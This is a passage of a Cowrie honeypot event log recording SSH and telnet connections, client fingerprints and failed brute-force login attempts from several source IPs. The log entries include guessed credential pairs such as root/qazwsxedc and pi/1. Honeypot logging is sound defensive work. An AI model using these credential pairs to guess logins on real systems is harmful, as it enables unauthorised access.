01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:14.078203Z","src_ip":"91.92.42.227","session":"23a85b0d3541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:15.400668Z","src_ip":"91.92.42.227","session":"23a85b0d3541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:16.833585Z","src_ip":"91.92.42.227","session":"23a85b0d3541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.511720180511475,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:19.165708Z","src_ip":"128.199.8.54","session":"85a1be066ca9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43202,"dst_ip":"10.17.0.5","dst_port":22,"session":"751364c4f7a4","protocol":"ssh","message":"New connection: 91.92.42.227:43202 (10.17.0.5:22) [session: 751364c4f7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:20.942931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:21.118010Z","src_ip":"91.92.42.227","session":"751364c4f7a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:21.121757Z","src_ip":"91.92.42.227","session":"751364c4f7a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":58876,"dst_ip":"159.203.135.109","dst_port":22,"session":"94566c05bb2c","protocol":"ssh","message":"New connection: 27.71.230.31:58876 (159.203.135.109:22) [session: 94566c05bb2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:21.135881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:21.158693Z","src_ip":"27.71.230.31","session":"94566c05bb2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:21.497306Z","src_ip":"27.71.230.31","session":"94566c05bb2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"12345678","message":"login attempt [ec2-user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:22.485971Z","src_ip":"91.92.42.227","session":"751364c4f7a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:23.819337Z","src_ip":"91.92.42.227","session":"751364c4f7a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46494,"dst_ip":"10.17.0.5","dst_port":22,"session":"af92328c983a","protocol":"ssh","message":"New connection: 91.92.42.227:46494 (10.17.0.5:22) [session: af92328c983a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:27.335462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:27.697123Z","src_ip":"91.92.42.227","session":"af92328c983a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:27.700543Z","src_ip":"91.92.42.227","session":"af92328c983a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User","message":"login attempt [root/User] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:29.291270Z","src_ip":"27.71.230.31","session":"94566c05bb2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:30.012448Z","src_ip":"91.92.42.227","session":"af92328c983a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:30.576945Z","src_ip":"27.71.230.31","session":"94566c05bb2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:31.641970Z","src_ip":"91.92.42.227","session":"af92328c983a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46530,"dst_ip":"10.17.0.5","dst_port":22,"session":"b63f8501b4b9","protocol":"ssh","message":"New connection: 91.92.42.227:46530 (10.17.0.5:22) [session: b63f8501b4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:33.918606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:34.831171Z","src_ip":"91.92.42.227","session":"b63f8501b4b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:34.834348Z","src_ip":"91.92.42.227","session":"b63f8501b4b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1","message":"login attempt [pi/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:37.167254Z","src_ip":"91.92.42.227","session":"b63f8501b4b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:38.839288Z","src_ip":"91.92.42.227","session":"b63f8501b4b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.3292920589447,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:39.671788Z","src_ip":"107.6.151.170","session":"ffe39b17ff02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33714,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a29e7da5ed7","protocol":"ssh","message":"New connection: 91.92.42.227:33714 (10.17.0.5:22) [session: 8a29e7da5ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:40.752021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:41.371811Z","src_ip":"91.92.42.227","session":"8a29e7da5ed7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:41.374768Z","src_ip":"91.92.42.227","session":"8a29e7da5ed7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54304,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e4567f30569","protocol":"telnet","message":"New connection: 107.6.151.170:54304 (159.203.135.109:23) [session: 8e4567f30569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:43.390167Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":54300,"dst_ip":"159.203.135.109","dst_port":22,"session":"390888f664a5","protocol":"ssh","message":"New connection: 87.251.79.125:54300 (159.203.135.109:22) [session: 390888f664a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:43.952043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:43.955768Z","src_ip":"87.251.79.125","session":"390888f664a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:44.029197Z","src_ip":"87.251.79.125","session":"390888f664a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:44.151407Z","src_ip":"91.92.42.227","session":"8a29e7da5ed7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"freefree","message":"login attempt [root/freefree] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:44.231324Z","src_ip":"87.251.79.125","session":"390888f664a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:45.299520Z","src_ip":"87.251.79.125","session":"390888f664a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:46.269015Z","src_ip":"91.92.42.227","session":"8a29e7da5ed7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47632,"dst_ip":"10.17.0.5","dst_port":22,"session":"92a67d3de561","protocol":"ssh","message":"New connection: 91.92.42.227:47632 (10.17.0.5:22) [session: 92a67d3de561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:48.387301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:48.704992Z","src_ip":"91.92.42.227","session":"92a67d3de561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:48.708061Z","src_ip":"91.92.42.227","session":"92a67d3de561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":45640,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d0f287a9757","protocol":"telnet","message":"New connection: 94.23.66.112:45640 (10.17.0.5:23) [session: 4d0f287a9757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:49.824482Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:50.020504Z","src_ip":"91.92.42.227","session":"92a67d3de561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.162.112.209","src_port":39326,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd52213d139c","protocol":"telnet","message":"New connection: 18.162.112.209:39326 (159.203.135.109:23) [session: cd52213d139c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:50.548531Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:51.266777Z","src_ip":"91.92.42.227","session":"92a67d3de561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46538,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac1d3ed325a8","protocol":"telnet","message":"New connection: 172.81.62.90:46538 (159.203.135.109:23) [session: ac1d3ed325a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:54.431558Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48858,"dst_ip":"10.17.0.5","dst_port":22,"session":"54c308fef22f","protocol":"ssh","message":"New connection: 91.92.42.227:48858 (10.17.0.5:22) [session: 54c308fef22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:56.209767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:56.236369Z","src_ip":"91.92.42.227","session":"54c308fef22f","protocol":"ssh"}
